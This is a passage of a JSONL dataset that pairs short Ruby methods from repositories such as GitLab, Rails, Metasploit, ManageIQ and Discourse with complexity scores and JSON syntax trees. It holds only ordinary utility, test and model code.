\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"LDAP\"]},\"Filter\"]},\"escape\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"email\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_info\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ldap\"]},\"bind_as\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Devise\"]},\"ldap_base\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filter\"]},{\"type\":\"lvar\",\"children\":[\"filter\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"ldap_get_user\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_info\"]},\"first\"]}]},null]}]}]}","id":"53d622d8-ef37-432b-be58-dfa424ab7609"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/omniauth_identity_linker_base.rb","start_line":49,"raw_source":"def save\n        @changed = identity.save\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"save\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@changed\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"identity\"]},\"save\"]}]}]}","id":"7e69d0b9-69b3-4eb4-9db7-ddd7d8e4d4c1"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/abstract_mysql_adapter/schema_test.rb","start_line":60,"raw_source":"def test_primary_key\n        assert_equal \"id\", @omgpost.primary_key\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_primary_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@omgpost\"]},\"primary_key\"]}]}]}","id":"c487010b-fd6c-4f51-9220-a58beb83bb65"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/load_balancing.rb","start_line":21,"raw_source":"def self.base_models\n        @base_models ||= ::Gitlab::Database.database_base_models_using_load_balancing.values.freeze\n      end","complexity_score":4.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"base_models\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@base_models\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Database\"]},\"database_base_models_using_load_balancing\"]},\"values\"]},\"freeze\"]}]}]}","id":"40cac41d-2507-44ac-99c2-4e556fb72dd7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-schema-validation/lib/gitlab/schema/validation/adapters/foreign_key_database_adapter.rb","start_line":12,"raw_source":"def name\n            \"#{query_result['schema']}.#{query_result['foreign_key_name']}\"\n          end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query_result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"schema\"]}]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query_result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"foreign_key_name\"]}]}]}]}]}","id":"19356aba-932b-459d-a26f-6a043590d602"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/admin/type_configuration_form.rb","start_line":38,"raw_source":"def add_button_dropdown\n        page.find \".form-configuration--add-group\", text: \"Group\"\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"add_button_dropdown\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"str\",\"children\":[\".form-configuration--add-group\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"str\",\"children\":[\"Group\"]}]}]}]}]}","id":"207783ed-c095-47c7-8b55-5ff0a815bad5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/crypto/des3_cbc_sha1.rb","start_line":32,"raw_source":"def decrypt_asn1(ciphertext, key, msg_type)\n            result = decrypt(ciphertext, key, msg_type)\n            padding_removed = truncate_nulls_after_asn1(result)\n          end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"decrypt_asn1\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ciphertext\"]},{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"msg_type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"decrypt\",{\"type\":\"lvar\",\"children\":[\"ciphertext\"]},{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"msg_type\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"padding_removed\",{\"type\":\"send\",\"children\":[null,\"truncate_nulls_after_asn1\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}]}","id":"22d0cfaf-df62-4d59-9ee2-d4359d8caea1"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/host.rb","start_line":872,"raw_source":"def refresh_ipmi\n    if ipmi_config_valid?\n      require 'miq-ipmi'\n      address = ipmi_address\n\n      if MiqIPMI.is_available?(address)\n        ipmi = MiqIPMI.new(address, *auth_user_pwd(:ipmi))\n        if ipmi.connected?\n          self.power_state = ipmi.power_state\n          mac = ipmi.mac_address\n          self.mac_address = mac if mac.present?\n\n          hw_info = {:manufacturer => ipmi.manufacturer, :model => ipmi.model}\n          if hardware.nil?\n            EmsRefresh.save_hardware_inventory(self, hw_info)\n          else\n            hardware.update(hw_info)\n          end\n        else\n          _log.warn(\"IPMI Login failed due to a bad username or password.\")\n        end\n      else\n        _log.info(\"IPMI is not available on this Host\")\n      end\n    end\n  end","complexity_score":47.6,"ast_json":"{\"type\":\"def\",\"children\":[\"refresh_ipmi\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ipmi_config_valid?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"miq-ipmi\"]}]},{\"type\":\"lvasgn\",\"children\":[\"address\",{\"type\":\"send\",\"children\":[null,\"ipmi_address\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqIPMI\"]},\"is_available?\",{\"type\":\"lvar\",\"children\":[\"address\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ipmi\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqIPMI\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"address\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"auth_user_pwd\",{\"type\":\"sym\",\"children\":[\"ipmi\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ipmi\"]},\"connected?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"power_state=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ipmi\"]},\"power_state\"]}]},{\"type\":\"lvasgn\",\"children\":[\"mac\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ipmi\"]},\"mac_address\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mac\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"mac_address=\",{\"type\":\"lvar\",\"children\":[\"mac\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"hw_info\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"manufacturer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ipmi\"]},\"manufacturer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ipmi\"]},\"model\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hardware\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmsRefresh\"]},\"save_hardware_inventory\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"hw_info\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hardware\"]},\"update\",{\"type\":\"lvar\",\"children\":[\"hw_info\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"warn\",{\"type\":\"str\",\"children\":[\"IPMI Login failed due to a bad username or password.\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"str\",\"children\":[\"IPMI is not available on this Host\"]}]}]}]},null]}]}","id":"d5ee1d20-e55d-43f3-a79e-5ceaa9a2ed3c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/file.rb","start_line":120,"raw_source":"def File.ftype(name)\n    stat(name).ftype\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"ftype\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stat\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"ftype\"]}]}","id":"72679db2-7d0a-46a7-a237-d2c31e3d2b58"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-adplugin/app/controllers/ad_plugin/house_ads_controller.rb","start_line":42,"raw_source":"def destroy\n      if ad = HouseAd.find(house_ad_params[:id])\n        ad.destroy\n      else\n        render_json_error(I18n.t(\"not_found\"), status: 404)\n      end\n    end","complexity_score":9.43,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ad\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HouseAd\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"house_ad_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ad\"]},\"destroy\"]},{\"type\":\"send\",\"children\":[null,\"render_json_error\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"not_found\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[404]}]}]}]}]}]}","id":"54af3c5b-fbef-45d3-b920-416346c21a50"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/reloader.rb","start_line":71,"raw_source":"def self.wrap(**kwargs)\n      return yield if active?\n\n      executor.wrap(**kwargs) do\n        instance = run!\n        begin\n          yield\n        ensure\n          instance.complete!\n        end\n      end\n    end","complexity_score":11.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"wrap\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"kwargs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"yield\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"executor\"]},\"wrap\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"instance\",{\"type\":\"send\",\"children\":[null,\"run!\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"yield\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance\"]},\"complete!\"]}]}]}]}]}]}]}","id":"b3fbd23a-5e3f-4170-a493-1f3ca580563f"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/journey/route/definition/parser_test.rb","start_line":85,"raw_source":"def test_or\n          assert_round_trip(\"a|b\")\n          assert_round_trip(\"a|b|c\")\n          assert_round_trip(\"(a|b)|c\")\n          assert_round_trip(\"a|(b|c)\")\n          assert_round_trip(\"*a|(b|c)\")\n          assert_round_trip(\"*a|:b|c\")\n        end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_or\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_round_trip\",{\"type\":\"str\",\"children\":[\"a|b\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_round_trip\",{\"type\":\"str\",\"children\":[\"a|b|c\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_round_trip\",{\"type\":\"str\",\"children\":[\"(a|b)|c\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_round_trip\",{\"type\":\"str\",\"children\":[\"a|(b|c)\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_round_trip\",{\"type\":\"str\",\"children\":[\"*a|(b|c)\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_round_trip\",{\"type\":\"str\",\"children\":[\"*a|:b|c\"]}]}]}]}","id":"6c77fdb8-1525-487c-a529-e84c0c968dfe"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb","start_line":46,"raw_source":"def load_session(env)\n        stale_session_check! { super }\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"load_session\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stale_session_check!\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"64a33602-33db-4847-b6d9-45d03d6baf16"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/util.rb","start_line":187,"raw_source":"def string_interp? exp\n    exp.is_a? Sexp and exp.node_type == :dstr\n  end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"string_interp?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exp\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Sexp\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"node_type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"dstr\"]}]}]}]}","id":"61ce17e4-8b6a-4203-8b1d-5fdaff412a3b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/packages/build_infos_finder.rb","start_line":12,"raw_source":"def execute\n      return Packages::BuildInfo.none if @package_ids.blank?\n\n      # This is a highly custom query that\n      # will not be re-used elsewhere\n      # rubocop: disable CodeReuse/ActiveRecord\n      query = Packages::Package.id_in(@package_ids)\n                .select('build_infos.*')\n                .from([Packages::Package.arel_table, lateral_query.arel.lateral.as('build_infos')])\n                .order('build_infos.id DESC')\n\n      # We manually select build_infos fields from the lateral query.\n      # Thus, we need to instruct ActiveRecord that returned rows are\n      # actually Packages::BuildInfo objects\n      Packages::BuildInfo.find_by_sql(query.to_sql)\n      # rubocop: enable CodeReuse/ActiveRecord\n    end","complexity_score":19.7,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@package_ids\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packages\"]},\"BuildInfo\"]},\"none\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packages\"]},\"Package\"]},\"id_in\",{\"type\":\"ivar\",\"children\":[\"@package_ids\"]}]},\"select\",{\"type\":\"str\",\"children\":[\"build_infos.*\"]}]},\"from\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packages\"]},\"Package\"]},\"arel_table\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lateral_query\"]},\"arel\"]},\"lateral\"]},\"as\",{\"type\":\"str\",\"children\":[\"build_infos\"]}]}]}]},\"order\",{\"type\":\"str\",\"children\":[\"build_infos.id DESC\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packages\"]},\"BuildInfo\"]},\"find_by_sql\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"to_sql\"]}]}]}]}","id":"76f5fc50-611d-4ab4-bb40-ea994e792c18"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/empty_lines_around_access_modifier.rb","start_line":206,"raw_source":"def message_for_only_before_style(node)\n          modifier = node.loc.selector.source\n\n          if next_line_empty?(node.last_line)\n            format(MSG_AFTER_FOR_ONLY_BEFORE, modifier: modifier)\n          else\n            format(MSG_BEFORE_FOR_ONLY_BEFORE, modifier: modifier)\n          end\n        end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"message_for_only_before_style\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"modifier\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"selector\"]},\"source\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"next_line_empty?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"last_line\"]}]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"MSG_AFTER_FOR_ONLY_BEFORE\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"modifier\"]},{\"type\":\"lvar\",\"children\":[\"modifier\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"MSG_BEFORE_FOR_ONLY_BEFORE\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"modifier\"]},{\"type\":\"lvar\",\"children\":[\"modifier\"]}]}]}]}]}]}]}","id":"87039609-6170-4125-bf08-552e0f9d7d3e"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20160302063432_rebuild_directory_item_with_index.rb","start_line":10,"raw_source":"def down\n    remove_index :directory_items, %i[period_type user_id]\n    add_index :directory_items, [:period_type]\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"directory_items\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"period_type\"]},{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"directory_items\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"period_type\"]}]}]}]}]}","id":"8efa1e8d-c1ed-4b1e-a7f6-b8ad1b8bb404"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/admin/admin_mode/login_spec.rb","start_line":227,"raw_source":"def setup_ldap(provider, user, uid, ldap_server_config)\n          stub_ldap_setting(enabled: true)\n\n          allow(::Gitlab::Auth::Ldap::Config).to receive_messages(enabled: true, servers: [ldap_server_config])\n          allow(Gitlab::Auth::OAuth::Provider).to receive_messages(providers: [provider.to_sym])\n\n          Ldap::OmniauthCallbacksController.define_providers!\n          Rails.application.reload_routes!\n\n          mock_auth_hash(provider, uid, user.email)\n          allow(Gitlab::Auth::Ldap::Access).to receive(:allowed?).with(user).and_return(true)\n\n          allow_any_instance_of(ActionDispatch::Routing::RoutesProxy)\n            .to receive(:\"user_#{provider}_omniauth_callback_path\")\n            .and_return(\"/users/auth/#{provider}/callback\")\n        end","complexity_score":25.8,"ast_json":"{\"type\":\"def\",\"children\":[\"setup_ldap\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"provider\"]},{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"uid\"]},{\"type\":\"arg\",\"children\":[\"ldap_server_config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_ldap_setting\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"enabled\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Auth\"]},\"Ldap\"]},\"Config\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"receive_messages\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"enabled\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"servers\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ldap_server_config\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Auth\"]},\"OAuth\"]},\"Provider\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"receive_messages\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"providers\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider\"]},\"to_sym\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ldap\"]},\"OmniauthCallbacksController\"]},\"define_providers!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]},\"reload_routes!\"]},{\"type\":\"send\",\"children\":[null,\"mock_auth_hash\",{\"type\":\"lvar\",\"children\":[\"provider\"]},{\"type\":\"lvar\",\"children\":[\"uid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"email\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Auth\"]},\"Ldap\"]},\"Access\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"allowed?\"]}]},\"with\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},\"and_return\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow_any_instance_of\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Routing\"]},\"RoutesProxy\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"user_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider\"]}]},{\"type\":\"str\",\"children\":[\"_omniauth_callback_path\"]}]}]},\"and_return\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/users/auth/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider\"]}]},{\"type\":\"str\",\"children\":[\"/callback\"]}]}]}]}]}]}","id":"4565fdb4-0fc3-4834-ad45-b7695b987d6f"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/container_manager/orchestration_stack.rb","start_line":30,"raw_source":"def raw_status\n    failed = resources.any? { |obj| obj.resource_status == 'failed' }\n    if failed\n      update(:status => 'failed')\n      return self.class.status_class.new('failed', nil)\n    end\n\n    done = resources.all? do |obj|\n      miq_class = obj.resource_category\n      miq_obj = miq_class.constantize.find_by(:ems_ref => obj.ems_ref) if miq_class\n      obj.update(:resource_status => 'succeeded') if miq_obj\n      miq_class.nil? || miq_obj\n    end\n\n    update(:status => 'succeeded') if done\n    message = done ? \"completed\" : \"in progress\"\n\n    self.class.status_class.new(message, nil)\n  end","complexity_score":39.1,"ast_json":"{\"type\":\"def\",\"children\":[\"raw_status\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"failed\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resources\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"obj\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"resource_status\"]},\"==\",{\"type\":\"str\",\"children\":[\"failed\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failed\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"str\",\"children\":[\"failed\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"status_class\"]},\"new\",{\"type\":\"str\",\"children\":[\"failed\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"done\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resources\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"obj\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"miq_class\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"resource_category\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"miq_class\"]},{\"t